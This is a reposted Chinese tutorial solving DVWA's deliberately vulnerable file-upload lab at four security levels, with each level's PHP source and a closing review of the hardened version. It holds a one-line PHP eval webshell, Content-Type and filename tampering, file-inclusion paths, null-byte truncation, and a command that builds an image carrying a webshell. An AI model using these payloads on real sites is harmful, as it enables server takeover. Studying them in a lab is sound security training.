DVWA_File Upload 文件上傳 抓包改包傳木馬 圖片馬的制作 Impossible的代碼審計


鳴謝(本文大部分內容均轉載自):

http://www.storysec.com/dvwa-file-upload.html

 

文件上傳漏洞是指服務器在接收用戶上傳的文件的時候,沒有嚴格地加以限制和過濾,

如果黑客上傳了木馬,也就是常說的“掛馬”,進而拿到了webshell,就可以為所欲為了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~

 

Low:

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";  //網站根目錄+上傳文件目錄
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );  //加上取上傳文件的名字

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

  

對我們上傳的文件的類型幾乎沒有任何限制,上傳一個最簡單的一句話木馬即可

<?php @eval($_POST['zzz']); ?>

得到在:http://192.168.141.129/dvwa/vulnerabilities/upload/#

下的路徑:../../hackable/uploads/shell.php

即:http://192.168.141.129/dvwa/hackable/uploads/shell.php

菜刀一連即可成功

 

Medium:

// File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

  對上傳的文件的類型和大小進行了檢驗和篩選——只有jpeg/png才能上傳成功,且大小必須小於100000b

有三種方式拿webshell,首先介紹兩種:

我們的目標很明確——上傳一個.php的木馬,但是要繞過服務器的格式檢驗。

那么服務器是如何檢驗我們上傳的文件的格式的呢?很簡單——通過檢查我們上傳的文件的type屬性(FILES['uploaded']['type'])

而最后存儲在服務器的文件,它的格式由什么決定的呢?是由它的名字,而它的名字又由什么決定的呢——上傳的文件的name屬性(FILES['uploaded']['name'])

		<form enctype="multipart/form-data" action="#" method="POST">
			<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
			Choose an image to upload:<br /><br />
			<input name="uploaded" type="file" /><br />
			<br />
			<input type="submit" name="Upload" value="Upload" />

		</form>

  這是上傳表單的源代碼,可以看到,FILES['uploaded']確定了我們上的文件

 

所以有兩種payload:

1、本地為shell.php,通過改包,將其Content-Type屬性改為image/jpeg

Content-Type屬性一旦被改為image/jpeg,FILES['uploaded']['type']取出來的就是'jpeg',繞過了檢驗,

但是此時它的名字filename是shell.php,最后存儲在服務器上的仍然是shell.php,菜刀一連,成功

2、本地為shell.jpeg,通過改包,將其filename改成.php格式的文件

這樣,最后服務器也會把它當成php文件保存

 

無論是哪種方式,bp改包之后都應該是:

 

Payload3:

還可以直接上傳.png文件,不過沒法執行、、

所以我們可以和文件包含攻擊的Medium結合起來,用?page包含了我們的shell.png,然后菜刀一連....

 

Medium的文件包含可以絕對路徑本地包含也可以遠程文件包含,所以在菜刀中如此編輯:

http://192.168.141.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\phpTutorial\WWW\dvwa\hackable\uploads\shell.png

http://192.168.141.129/dvwa/vulnerabilities/fi/?page=htthttp://://www\dvwa\hackable\uploads\shell.png

 

High:

 核心檢驗代碼:

// File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

  substr(string,index):返回string從index開始剩下得所有部分

  strrops(string,find):返回find在string中最后一次出現的位置

substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)

  也就是取出了文件的擴展名

  getimagesize()用以獲取文件大小等信息,更是嚴格限制了文件類型必須為圖片類型

 

所以我們必須要繞過兩個東西:

1、擴展名檢驗

2、getimagesize()檢驗

關於擴展名檢驗很簡單,可以利用%00截斷,也可以利用文件包含攻擊

 

下面是如何繞過getimagesize()檢驗:

有過MISC經驗的同學,一定對圖像文件頭有了解:

JPEG/JPG:文件頭標識:FF D8 文件尾標識:FF D9

PNG:文件頭標識:89 50 4E 4F 0D 0A 1A 0A

 

圖片馬 的制作:

cmd下:

copy a.png/b+b.php/a c.png

然后直接上傳即可,不用抓包改包

菜刀一連,可拿webshell

 

Impossible:

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 


    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Where are we going to be writing to? 
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 
        ( $uploaded_size < 100000 ) && 
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
        if( $uploaded_type == 'image/jpeg' ) { 
            $img = imagecreatefromjpeg( $uploaded_tmp ); 
            imagejpeg( $img, $temp_file, 100); 
        } 
        else { 
            $img = imagecreatefrompng( $uploaded_tmp ); 
            imagepng( $img, $temp_file, 9); 
        } 
        imagedestroy( $img ); 

        // Can we move the file to the web root from the temp folder? 
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
            // Yes! 
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
        } 
        else { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 

        // Delete any temp files 
        if( file_exists( $temp_file ) ) 
            unlink( $temp_file ); 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

  基本可以被打到自閉了、、、、

   這里可以看到,對文件名進行了md5加密,幾乎不可能%00截斷繞過了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM